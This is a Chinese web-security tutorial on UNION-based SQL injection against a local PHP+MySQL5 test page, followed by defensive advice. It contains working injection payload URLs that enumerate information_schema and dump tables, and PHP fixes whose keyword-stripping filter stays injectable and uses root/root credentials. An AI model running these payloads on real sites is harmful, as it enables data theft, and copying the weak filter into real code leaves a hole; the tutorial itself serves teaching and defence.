WEB安全 php+mysql5注入防御(一)
注入利用函数:
- concat()函数将多个字符串连接成一个字符串
- database() 当前数据库,用途:获取数据
- version() 数据库版本,用途:利用版本特性,如5.0版本下的information_schema库
- user() 当前数据库用户,用途:判断权限
- @@version_compile_os 操作系统版本,用途:主要用来避免linux和windows的大小写问题影响
mysql5.0及以上版本默认有一个information_schema数据库,其中保存有所有数据库表名和列名信息。
可以打开phpmyadmin,分别在information_schema数据库的tables表和columns表查看所有表信息,了解下面的注入语句的本质。
information_schema数据库结构:
tables表
table_name列(存放所有表名)
table_schema列(数据库名,条件注入时转为16进制格式)
columns表
column_name表(存放所有列名)
table_name列(存放所有表名)
table_schema列(数据库名,条件注入时一般直接找指定表的列名,不需要再指定库名)
table_collation表(字符编码,utf8_general_ci)
一、php+mysql 联合查询注入
http://127.0.0.1/1.php?x=1 and 1=2
http://127.0.0.1/1.php?x=1 order by 3
http://127.0.0.1/1.php?x=1 UNION SELECT 1,2,3
http://127.0.0.1/1.php?x=1 UNION SELECT database(),version(),user()
http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(DATABASE(),0x20,VERSION(),0x20,USER(),0x20,@@VERSION_COMPILE_OS),2,3
用户ID:sqlin 5.5.53 root@localhost Win32
http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(TABLE_NAME,0x20,TABLE_COLLATION),2,3 from information_schema.tables where table_schema=0x73716C696E http://127.0.0.1/1.php?x=1 UNION SELECT CONCAT(column_name),2,3 from information_schema.columns where table_name=0x6E657773 //0x6E657773也可以用database()替代 http://127.0.0.1/1.php?x=1 UNION SELECT id,text,title FROM sqlin.news
http://127.0.0.1/1.php?x=1 UNION SELECT `key`,2,3 FROM sqlin.data
key在数据库中是关键字,需要用反引号引起来
用户ID:www.xiaodi8.com
二、注入产生的原因及修复建议
1. 注入产生的原因:未对参数接收的值进行过滤
2. 修复建议:
2.1 判断传入的参数类型(数字,过滤非数字):
<?php
//定义接收参数
//1.定义数据库信息
//2.连接数据库,选择数据库,定义sql语句,执行语句
//3.返回结果并处理显示,关闭数据库 $id = $_GET['x'];//接收参数名为x的值并赋值给变量id
if(is_numeric($id)){ //如果接收过来的id变量的值是数字
$conn = mysql_connect("127.0.0.1","root","root");//连接数据库
mysql_select_db("sqlin",$conn);//选择数据库
$sql = "select * from news where id=$id";//定义sql语句
$result = mysql_query($sql);//执行sql语句
while($row = mysql_fetch_array($result)){//获取,遍历查询结果并显示
echo "用户ID:".$row['id']."<br>";
echo "文章标题:".$row['title']."<br>";
echo "文章内容:".$row['text']."<br>";
echo "<hr>"; }
mysql_close($conn);//关闭数据库连接
echo "当前执行语句:".$sql."<hr>";
}else{
echo "非法字符: ".$id;
} ?>
2.2 指定关键字过滤(过滤select等关键字,考虑大小写是否可绕过):
<?
//php语言开端
//php+mysql注入页面编程实现
/*
1.接受参数
2.数据库连接,选择,定义组合,执行
3.返回结果并处理显示
*/ function check_sql($id){ //过滤select关键字
$id = str_replace("select","",$id);
return $id;
} $id = $_GET['x'];//接受参数名x的值并赋值给变量id
//$id = str_replace("select","",$id);
$id = check_sql($id);
//echo $id;
$conn = mysql_connect("127.0.0.1","root","root");//连接数据库
mysql_select_db("sqlin",$conn);//选择数据库
$sql = "select * from news where id=$id";//定义sql语句
$result = mysql_query($sql);//执行sql语句
while($row = mysql_fetch_array($result)){ //遍历结果显示
echo "用户ID:".$row['id']."<br >";
echo "文章内容:".$row['text']."<br >";
echo "文章标题:".$row['title']."<br >";
echo "<hr>"; }
mysql_close($conn);//关闭数据库连接
echo "当前执行语句:".$sql."<hr>"; //php语言结尾
?>
end.
WEB安全 php+mysql5注入防御(一)的更多相关文章
- WEB安全 php+mysql5注入防御(二)
第四天: 一.新的注入函数: ascii() substring("string",n,m) n>=1 limit n,m ...
- [红日安全]Web安全Day1 - SQL注入实战攻防
本文由红日安全成员: Aixic 编写,如有不当,还望斧正. 大家好,我们是红日安全-Web安全攻防小组.此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名 ...
- 【渗透攻防WEB篇】SQL注入攻击初级
前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...
- 【渗透攻防Web篇】SQL注入攻击高级
前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 ...
- web安全之XSS注入
之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入 ...
- Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...
- web安全-接入层注入
web安全-接入层注入 1.关系型数据库 mysql 存放结构化数据 高效操作大量数据 方便处理数据之间的关联关系 2.SQL注入 select * from table where id=${id} ...
- 简单了解:Web前端攻击方式及防御措施
一.XSS [Cross Site Script]跨站脚本攻击 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用 ...
- 23. Bypass ngx_lua_waf SQL注入防御(多姿势)
0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...
随机推荐
- 系统分析与设计 homework-1
1.软件工程的定义 软件工程是将系统化.规范化.可度量的方法应用于软件的开发.运营和维护上,也就是将工程方法应用于软件上,并对这些方法的研究. 2.软件危机(software crisis) 软件危机 ...
- win下环境变量的设置
Windows 和 linux 区别 一.查看所有环境变量的名称和值: Linux下:export Windows下:set 二.根据名称查该环境变量的值: Linux下:echo $环境变量名 比如 ...
- bnu 29378 Adidas vs Adivon 基础题
Adidas vs Adivon Time Limit: 1000ms Memory Limit: 65536KB 64-bit integer IO format: %lld Java ...
- 一款软件同时管理MySQL,MongoDB数据库
互联网应用开发日新月异,去年分布式应用都还大量使用springmvc+ zookeeper +dubbo,今年就被spring boot ,spring cloud微服务架构替换了,技术的更新换代太快 ...
- html开发那些不好的习惯,和问题。
最近网上看了好多html开发中那些问题和不好的习惯,顺手总结一下. 一.上下间距 在开发中你会发现你明明设置的两个p标签上下间距为20px但你实际测量中会发现他会多4~8px,这是为什么呢!如果你是老 ...
- SSM Controller 页面之间跳转 重定向,有参 无参问题
需求:spring MVC框架controller间跳转,需重定向.有几种情况:不带参数跳转,带参数拼接url形式跳转,带参数不拼接参数跳转,页面也能显示. (1)我在后台一个controller跳转 ...
- ioctl
在驱动程序里, ioctl() 函数上传送的变量 cmd 是应用程序用于区别设备驱动程序请求处理内容的值. cmd除了可区别数字外,还包含有助于处理的几种相应信息. cmd的大小为 32位,共分 4 ...
- C# 后台添加Log信息
我们在做项目的时候,经常会使用到Log日志,今天分享一下如何在后台添加Log信息 创建一个写Log的方法: public void WriteLog(string Action) { try { st ...
- 数据迁移:MSSQL脚本文件过大,客户端没有足够的内存继续执行程序
在CMD窗口(俗称:黑屏程序) 下输入 SQLCMD 命令 命令格式如下: sqlcmd -U 用户名 -P 密码 -S 服务器地址 -d 数据库名称 -i 你的脚本文件.sql ( ...
- MySQL经典错误
本文目录: Top 1:Too many connections(连接数过多,导致连接不上数据库,业务无法正常进行)Top 2:(主从复制报错类型)Top 3:MySQL安装过程中的报错Top 4:数 ...